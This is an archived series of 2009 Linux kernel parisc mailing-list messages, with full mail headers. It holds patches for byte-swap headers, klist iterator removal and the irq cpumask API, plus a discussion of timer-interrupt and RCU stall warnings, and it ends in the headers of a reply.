X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harvey Harrison <harvey.harrison@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: introduce asm/swab.h
Date: Fri, 09 Jan 2009 12:42:54 -0800
Lines: 132
Approved: news@gmane.org
Message-ID: <1231533774.5663.2.camel@brick>
References: <20090109160340.GA12065@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231533791 2484 80.91.229.12 (9 Jan 2009 20:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Jan 2009 20:43:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@hera.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 09 21:44:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LLODK-00043h-5O
	for glpp-linux-parisc@gmane.org; Fri, 09 Jan 2009 21:44:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754611AbZAIUnA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Jan 2009 15:43:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753857AbZAIUnA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 9 Jan 2009 15:43:00 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.174]:13510 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753381AbZAIUm5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Jan 2009 15:42:57 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so10033620wfd.4
        for <multiple recipients>; Fri, 09 Jan 2009 12:42:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:subject:from:to:cc
         :in-reply-to:references:content-type:date:message-id:mime-version
         :x-mailer:content-transfer-encoding;
        bh=V1lsyRD7bAmFrYEmWz9Zv3hHSU3OFW/NUx/2kVwmzww=;
        b=NQPTP0OOkj8q+UQTHh4aluaI6hUMyiIV81SYqDFtHFVDkJZesw7rSsXOaHkQgDw7WA
         9tsLlqMWFrOgPB3wgly4DWIwP5hFcysaOJyxx0oOs8aS4XPVkdqk67MvdtJPrkE6GHdJ
         ybg9gq+y8ooDPQHMfVOukPrOuYHqGq62LLyzk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=subject:from:to:cc:in-reply-to:references:content-type:date
         :message-id:mime-version:x-mailer:content-transfer-encoding;
        b=MpTPhHrWLwx024n+/XjumoMxnP9Uf5QNO3fuHJO7adT3P/VFa/e6fK48qmbayQV4Yw
         3wv0CxEkYnW67TuBaIQgqNU5phQ9hAEdw0oOq1BcOnaFXatjl/8XZup3bTswPdYH95kx
         zkTtyYwCD8LjvUpzh3ZKt2A/fe/fcaUGHMQvQ=
Original-Received: by 10.142.134.17 with SMTP id h17mr10882423wfd.228.1231533776267;
        Fri, 09 Jan 2009 12:42:56 -0800 (PST)
Original-Received: from ?128.189.249.245? ([128.189.249.245])
        by mx.google.com with ESMTPS id 30sm3821364wfc.15.2009.01.09.12.42.55
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 09 Jan 2009 12:42:55 -0800 (PST)
In-Reply-To: <20090109160340.GA12065@hera.kernel.org>
X-Mailer: Evolution 2.24.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1166 gmane.linux.kernel:778055
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1166>

Fix for the linux/byteorder.h removal.

Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
---
Linus, please apply after doing the parisc pull.  cris is the only
arch still outstanding.

Done with git diff -M -B

Harvey

 arch/parisc/include/asm/Kbuild                  |    1 +
 arch/parisc/include/asm/byteorder.h             |   76 ++--------------------
 arch/parisc/include/asm/{byteorder.h => swab.h} |    9 +--
 3 files changed, 11 insertions(+), 75 deletions(-)

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index f88b252..2121d99 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -1,3 +1,4 @@
 include include/asm-generic/Kbuild.asm
 
 unifdef-y += pdc.h
+unifdef-y += swab.h
diff --git a/arch/parisc/include/asm/byteorder.h b/arch/parisc/include/asm/byteorder.h
dissimilarity index 94%
index 83095c5..da66029 100644
--- a/arch/parisc/include/asm/byteorder.h
+++ b/arch/parisc/include/asm/byteorder.h
@@ -1,69 +1,7 @@
-#ifndef _PARISC_BYTEORDER_H
-#define _PARISC_BYTEORDER_H
-
-#include <asm/types.h>
-#include <linux/compiler.h>
-
-#define __BIG_ENDIAN
-#define __SWAB_64_THRU_32__
-
-static inline __attribute_const__ __u16 __arch_swab16(__u16 x)
-{
-	__asm__("dep %0, 15, 8, %0\n\t"		/* deposit 00ab -> 0bab */
-		"shd %%r0, %0, 8, %0"		/* shift 000000ab -> 00ba */
-		: "=r" (x)
-		: "0" (x));
-	return x;
-}
-#define __arch_swab16 __arch_swab16
-
-static inline __attribute_const__ __u32 __arch_swab24(__u32 x)
-{
-	__asm__("shd %0, %0, 8, %0\n\t"		/* shift xabcxabc -> cxab */
-		"dep %0, 15, 8, %0\n\t"		/* deposit cxab -> cbab */
-		"shd %%r0, %0, 8, %0"		/* shift 0000cbab -> 0cba */
-		: "=r" (x)
-		: "0" (x));
-	return x;
-}
-
-static inline __attribute_const__ __u32 __arch_swab32(__u32 x)
-{
-	unsigned int temp;
-	__asm__("shd %0, %0, 16, %1\n\t"	/* shift abcdabcd -> cdab */
-		"dep %1, 15, 8, %1\n\t"		/* deposit cdab -> cbab */
-		"shd %0, %1, 8, %0"		/* shift abcdcbab -> dcba */
-		: "=r" (x), "=&r" (temp)
-		: "0" (x));
-	return x;
-}
-#define __arch_swab32 __arch_swab32
-
-#if BITS_PER_LONG > 32
-/*
-** From "PA-RISC 2.0 Architecture", HP Professional Books.
-** See Appendix I page 8 , "Endian Byte Swapping".
-**
-** Pretty cool algorithm: (* == zero'd bits)
-**      PERMH   01234567 -> 67452301 into %0
-**      HSHL    67452301 -> 7*5*3*1* into %1
-**      HSHR    67452301 -> *6*4*2*0 into %0
-**      OR      %0 | %1  -> 76543210 into %0 (all done!)
-*/
-static inline __attribute_const__ __u64 __arch_swab64(__u64 x)
-{
-	__u64 temp;
-	__asm__("permh,3210 %0, %0\n\t"
-		"hshl %0, 8, %1\n\t"
-		"hshr,u %0, 8, %0\n\t"
-		"or %1, %0, %0"
-		: "=r" (x), "=&r" (temp)
-		: "0" (x));
-	return x;
-}
-#define __arch_swab64 __arch_swab64
-#endif /* BITS_PER_LONG > 32 */
-
-#include <linux/byteorder.h>
-
-#endif /* _PARISC_BYTEORDER_H */
+#ifndef _PARISC_BYTEORDER_H
+#define _PARISC_BYTEORDER_H
+
+#include <asm/swab.h>
+#include <linux/byteorder/big_endian.h>
+
+#endif /* _PARISC_BYTEORDER_H */
diff --git a/arch/parisc/include/asm/byteorder.h b/arch/parisc/include/asm/swab.h
similarity index 92%
rename from arch/parisc/include/asm/byteorder.h
rename to arch/parisc/include/asm/swab.h
index 83095c5..3ff16c5 100644
--- a/arch/parisc/include/asm/byteorder.h
+++ b/arch/parisc/include/asm/swab.h
@@ -1,10 +1,9 @@
-#ifndef _PARISC_BYTEORDER_H
-#define _PARISC_BYTEORDER_H
+#ifndef _PARISC_SWAB_H
+#define _PARISC_SWAB_H
 
 #include <asm/types.h>
 #include <linux/compiler.h>
 
-#define __BIG_ENDIAN
 #define __SWAB_64_THRU_32__
 
 static inline __attribute_const__ __u16 __arch_swab16(__u16 x)
@@ -64,6 +63,4 @@ static inline __attribute_const__ __u64 __arch_swab64(__u64 x)
 #define __arch_swab64 __arch_swab64
 #endif /* BITS_PER_LONG > 32 */
 
-#include <linux/byteorder.h>

From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] remove klist iterators
Date: Fri, 09 Jan 2009 18:57:06 -0600
Lines: 221
Approved: news@gmane.org
Message-ID: <1231549026.3235.84.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231549040 22954 80.91.229.12 (10 Jan 2009 00:57:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Jan 2009 00:57:20 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 10 01:58:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LLSBK-0006DA-VI
	for glpp-linux-parisc@gmane.org; Sat, 10 Jan 2009 01:58:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754835AbZAJA5M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Jan 2009 19:57:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755356AbZAJA5M
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 9 Jan 2009 19:57:12 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:59073 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754904AbZAJA5J (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Jan 2009 19:57:09 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7AC1497AA
	for <linux-parisc@vger.kernel.org>; Fri,  9 Jan 2009 18:57:08 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rCqF8fZmJ6cA for <linux-parisc@vger.kernel.org>;
	Fri,  9 Jan 2009 18:57:07 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 362D589A5
	for <linux-parisc@vger.kernel.org>; Fri,  9 Jan 2009 18:57:07 -0600 (CST)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1167>

commit 11c3b5c3e08f4d855cbef52883c266b9ab9df879
Author: Greg Kroah-Hartman <gregkh@suse.de>
Date:   Tue Dec 16 12:24:56 2008 -0800

    driver core: move klist_children into private structure

Broke our parisc build pretty badly because we touch the klists directly
in three cases (AGP, SBA and GSC).  Although GregKH will revert this
patch, there's no reason we should be using the iterators directly, we
can just move to the standard device_for_each_child() API.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/drivers/char/agp/parisc-agp.c b/drivers/char/agp/parisc-agp.c
index db60539..699e342 100644
--- a/drivers/char/agp/parisc-agp.c
+++ b/drivers/char/agp/parisc-agp.c
@@ -359,9 +359,16 @@ fail:
 	return error;
 }
 
-static struct device *next_device(struct klist_iter *i) {
-	struct klist_node * n = klist_next(i);
-	return n ? container_of(n, struct device, knode_parent) : NULL;
+static int
+find_quicksilver(struct device *dev, void *data)
+{
+	struct parisc_device **lba = data;
+	struct parisc_device *padev = to_parisc_device(dev);
+
+	if (IS_QUICKSILVER(padev))
+		*lba = padev;
+
+	return 0;
 }
 
 static int
@@ -372,8 +379,6 @@ parisc_agp_init(void)
 	int err = -1;
 	struct parisc_device *sba = NULL, *lba = NULL;
 	struct lba_device *lbadev = NULL;
-	struct device *dev = NULL;
-	struct klist_iter i;
 
 	if (!sba_list)
 		goto out;
@@ -386,13 +391,7 @@ parisc_agp_init(void)
 	}
 
 	/* Now search our Pluto for our precious AGP device... */
-	klist_iter_init(&sba->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *padev = to_parisc_device(dev);
-		if (IS_QUICKSILVER(padev))
-			lba = padev;
-	}
-	klist_iter_exit(&i);
+	device_for_each_child(&sba->dev, &lba, find_quicksilver);
 
 	if (!lba) {
 		printk(KERN_INFO DRVPFX "No AGP devices found.\n");
diff --git a/drivers/parisc/gsc.c b/drivers/parisc/gsc.c
index e76db9e..ea8f600 100644
--- a/drivers/parisc/gsc.c
+++ b/drivers/parisc/gsc.c
@@ -186,29 +186,34 @@ void gsc_asic_assign_irq(struct gsc_asic *asic, int local_irq, int *irqp)
 	*irqp = irq;
 }
 
-static struct device *next_device(struct klist_iter *i)
+struct gsc_fixup_struct {
+	void (*choose_irq)(struct parisc_device *, void *);
+	void *ctrl;
+};
+
+static int gsc_fixup_irqs_callback(struct device *dev, void *data)
 {
-	struct klist_node * n = klist_next(i);
-	return n ? container_of(n, struct device, knode_parent) : NULL;
+	struct parisc_device *padev = to_parisc_device(dev);
+	struct gsc_fixup_struct *gf = data;
+
+	/* work-around for 715/64 and others which have parent 
+	   at path [5] and children at path [5/0/x] */
+	if (padev->id.hw_type == HPHW_FAULTY)
+		gsc_fixup_irqs(padev, gf->ctrl, gf->choose_irq);
+	gf->choose_irq(padev, gf->ctrl);
+
+	return 0;
 }
 
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 			void (*choose_irq)(struct parisc_device *, void *))
 {
-	struct device *dev;
-	struct klist_iter i;
-
-	klist_iter_init(&parent->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *padev = to_parisc_device(dev);
-
-		/* work-around for 715/64 and others which have parent 
-		   at path [5] and children at path [5/0/x] */
-		if (padev->id.hw_type == HPHW_FAULTY)
-			return gsc_fixup_irqs(padev, ctrl, choose_irq);
-		choose_irq(padev, ctrl);
-	}
-	klist_iter_exit(&i);
+	struct gsc_fixup_struct data = {
+		.choose_irq	= choose_irq,
+		.ctrl		= ctrl,
+	};
+
+	device_for_each_child(&parent->dev, &data, gsc_fixup_irqs_callback);
 }
 
 int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic)
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 3fac8f8..1f5ebc2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1206,31 +1206,49 @@ sba_alloc_pdir(unsigned int pdir_size)
 	return (void *) pdir_base;
 }
 
-static struct device *next_device(struct klist_iter *i)
+struct ibase_data_struct {
+	struct ioc *ioc;
+	int ioc_num;
+};
+
+static int setup_ibase_imask_callback(struct device *dev, void *data)
 {
-        struct klist_node * n = klist_next(i);
-        return n ? container_of(n, struct device, knode_parent) : NULL;
+	/* lba_set_iregs() is in drivers/parisc/lba_pci.c */
+        extern void lba_set_iregs(struct parisc_device *, u32, u32);
+	struct parisc_device *lba = to_parisc_device(dev);
+	struct ibase_data_struct *ibd = data;
+	int rope_num = (lba->hpa.start >> 13) & 0xf;
+	if (rope_num >> 3 == ibd->ioc_num)
+		lba_set_iregs(lba, ibd->ioc->ibase, ibd->ioc->imask);
+	return 0;
 }
 
 /* setup Mercury or Elroy IBASE/IMASK registers. */
 static void 
 setup_ibase_imask(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 {
-	/* lba_set_iregs() is in drivers/parisc/lba_pci.c */
-        extern void lba_set_iregs(struct parisc_device *, u32, u32);
-	struct device *dev;
-	struct klist_iter i;
-
-	klist_iter_init(&sba->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *lba = to_parisc_device(dev);
-		int rope_num = (lba->hpa.start >> 13) & 0xf;
-		if (rope_num >> 3 == ioc_num)
-			lba_set_iregs(lba, ioc->ibase, ioc->imask);
-	}
-	klist_iter_exit(&i);
+	struct ibase_data_struct ibase_data = {
+		.ioc		= ioc,
+		.ioc_num	= ioc_num,
+	};
+
+	device_for_each_child(&sba->dev, &ibase_data,
+			      setup_ibase_imask_callback);
 }
 
+#ifdef SBA_AGP_SUPPORT
+static int
+sba_ioc_find_quicksilver(struct device *dev, void *data)
+{
+	int *agp_found = data;
+	struct parisc_device *lba = to_parisc_device(dev);
+
+	if (IS_QUICKSILVER(lba))
+		*agp_found = 1;
+	return 0;
+}
+#endif
+
 static void
 sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 {
@@ -1332,9 +1350,6 @@ sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 	WRITE_REG(ioc->ibase | 31, ioc->ioc_hpa + IOC_PCOM);
 
 #ifdef SBA_AGP_SUPPORT
-{
-	struct klist_iter i;
-	struct device *dev = NULL;
 
 	/*
 	** If an AGP device is present, only use half of the IOV space
@@ -1344,13 +1359,7 @@ sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 	** We program the next pdir index after we stop w/ a key for
 	** the GART code to handshake on.
 	*/
-	klist_iter_init(&sba->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *lba = to_parisc_device(dev);
-		if (IS_QUICKSILVER(lba))
-			agp_found = 1;
-	}
-	klist_iter_exit(&i);
+	device_for_each_child(&sba->dev, &agp_found, sba_ioc_find_quicksilver);
 
 	if (agp_found && sba_reserve_agpgart) {
 		printk(KERN_INFO "%s: reserving %dMb of IOVA space for agpgart\n",


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: RCU detected CPU 0 stall & timer_interrupt(CPU 0): delayed!
Date: Sat, 10 Jan 2009 13:24:02 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20090110202402.GB14664@colo.lackof.org>
References: <Pine.SOC.4.64.0901091632240.14526@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231619062 687 80.91.229.12 (10 Jan 2009 20:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Jan 2009 20:24:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 10 21:25:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LLkOj-0005q5-NZ
	for glpp-linux-parisc@gmane.org; Sat, 10 Jan 2009 21:25:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751068AbZAJUYP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Jan 2009 15:24:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751476AbZAJUYP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 10 Jan 2009 15:24:15 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:34944 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751068AbZAJUYO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Jan 2009 15:24:14 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 84314298029;
	Sat, 10 Jan 2009 13:24:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16589-09; Sat, 10 Jan 2009 13:24:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 155BE29800A; Sat, 10 Jan 2009 13:24:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.SOC.4.64.0901091632240.14526@math.ut.ee>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1168>

On Fri, Jan 09, 2009 at 04:58:41PM +0200, Meelis Roos wrote:
> Hello,
> 
> 
> I tried stock 2.6.28 on a parisc64 machine (L1000). 2.6.27 worked fine 
> (except 2 bootup warnings that are known here as I was told). I turned 
> on some debugging options for the current kernel, among them RCU stall 
> detection, and it triggered quite some. In spite of the warnings, the 
> computer seems to work fine. But I'm writing here because this might 
> interest somebody.

Thanks!

The "delay!" is a known bug that I've never been able to quite figure out:

> [    0.000000] Linux version 2.6.28 (mroos@hernes) (gcc version 4.3.2 (GCC) ) #1 SMP Wed Jan 7 20:04:12 EET 2009
...
> [42949385.400000] timer_interrupt(CPU 0): delayed! cycles 100001588 rem 8BD88  next/now 5048400084/514840160C
> [42949395.170000] timer_interrupt(CPU 0): delayed! cycles 1000002C8 rem 8AAC8  next/now 51487A7C04/52487A7ECC
> [42949404.940000] timer_interrupt(CPU 0): delayed! cycles 1000002B1 rem 8AAB1  next/now 5248B4F784/5348B4FA35
> [42949404.940000] RCU detected CPU 0 stall (t=4294940494/977 jiffies)
....

It looks like the two are related given it's 4.2B/977 jiffies.
But it's not consistent (rated limited kernel messages?).

I suspect the problem is we have to program the CR16 timer but
can only write the lower 32-bits. It would be something like
by the time we actually write CR16, we've passed the computed
trigger value.  ISTR we added a "fudge factor" for this case but
maybe it's not sufficient or something else is interferring.
I'm wondering if the code should read CR16 back , figure out
what the "current" difference is and double check that we didn't
miss the window.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Travis <travis@sgi.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 6/8] parisc irq: update parisc for new irq_desc
Date: Mon, 12 Jan 2009 14:05:25 -0800
Lines: 59
Approved: news@gmane.org
Message-ID: <20090112220520.435553000@polaris-admin.engr.sgi.com>
References: <20090112220519.566749000@polaris-admin.engr.sgi.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1231797948 4627 80.91.229.12 (12 Jan 2009 22:05:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 12 Jan 2009 22:05:48 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Andrew Morton <akpm@linux-foundation.org>,
	Jack Steiner <steiner@sgi.com>, linux-kernel@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Ingo Molnar <mingo@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 12 23:06:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMUvk-0006Wq-U7
	for glpp-linux-parisc@gmane.org; Mon, 12 Jan 2009 23:06:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754544AbZALWFZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 Jan 2009 17:05:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754303AbZALWFZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 12 Jan 2009 17:05:25 -0500
Original-Received: from relay2.sgi.com ([192.48.179.30]:48530 "EHLO relay.sgi.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753896AbZALWFW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 Jan 2009 17:05:22 -0500
Original-Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [150.166.39.100])
	by relay2.corp.sgi.com (Postfix) with ESMTP id 170FF304053;
	Mon, 12 Jan 2009 14:05:21 -0800 (PST)
Original-Received: from polaris-admin.engr.sgi.com (polaris-admin.engr.sgi.com [150.166.41.54])
	by cthulhu.engr.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id n0CM5KF7012555;
	Mon, 12 Jan 2009 14:05:20 -0800
Original-Received: by polaris-admin.engr.sgi.com (Postfix, from userid 5508)
	id 87779508521F; Mon, 12 Jan 2009 14:05:20 -0800 (PST)
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=irq:update-parisc-to-new-irq_desc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1169 gmane.linux.kernel:779511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1169>

Impact: cleanup, update to new cpumask API

Irq_desc.affinity and irq_desc.pending_mask are now cpumask_var_t's
so access to them should be using the new cpumask API.

Signed-off-by: Mike Travis <travis@sgi.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Cc: <linux-parisc@vger.kernel.org>
---
 arch/parisc/kernel/irq.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- linux-2.6-for-ingo.orig/arch/parisc/kernel/irq.c
+++ linux-2.6-for-ingo/arch/parisc/kernel/irq.c
@@ -120,7 +120,7 @@ int cpu_check_affinity(unsigned int irq,
 	if (CHECK_IRQ_PER_CPU(irq)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it */
-		irq_desc[irq].affinity = CPU_MASK_ALL;
+		cpumask_setall(irq_desc[irq].affinity);
 		return -EINVAL;
 	}
 
@@ -136,7 +136,7 @@ static void cpu_set_affinity_irq(unsigne
 	if (cpu_check_affinity(irq, dest))
 		return;
 
-	irq_desc[irq].affinity = *dest;
+	cpumask_copy(irq_desc[irq].affinity, dest);
 }
 #endif
 
@@ -295,7 +295,7 @@ int txn_alloc_irq(unsigned int bits_wide
 unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
-	irq_desc[irq].affinity = cpumask_of_cpu(cpu);
+	cpumask_copy(irq_desc[irq].affinity, cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -352,7 +352,7 @@ void do_cpu_irq_mask(struct pt_regs *reg
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	dest = irq_desc[irq].affinity;
+	cpumask_copy(&dest, irq_desc[irq].affinity);
 	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status) &&
 	    !cpu_isset(smp_processor_id(), dest)) {
 		int cpu = first_cpu(dest);

-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 6/8] parisc irq: update parisc for new irq_desc
Date: Tue, 13 Jan 2009 01:04:40 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20090113060440.GA12487@bombadil.infradead.org>
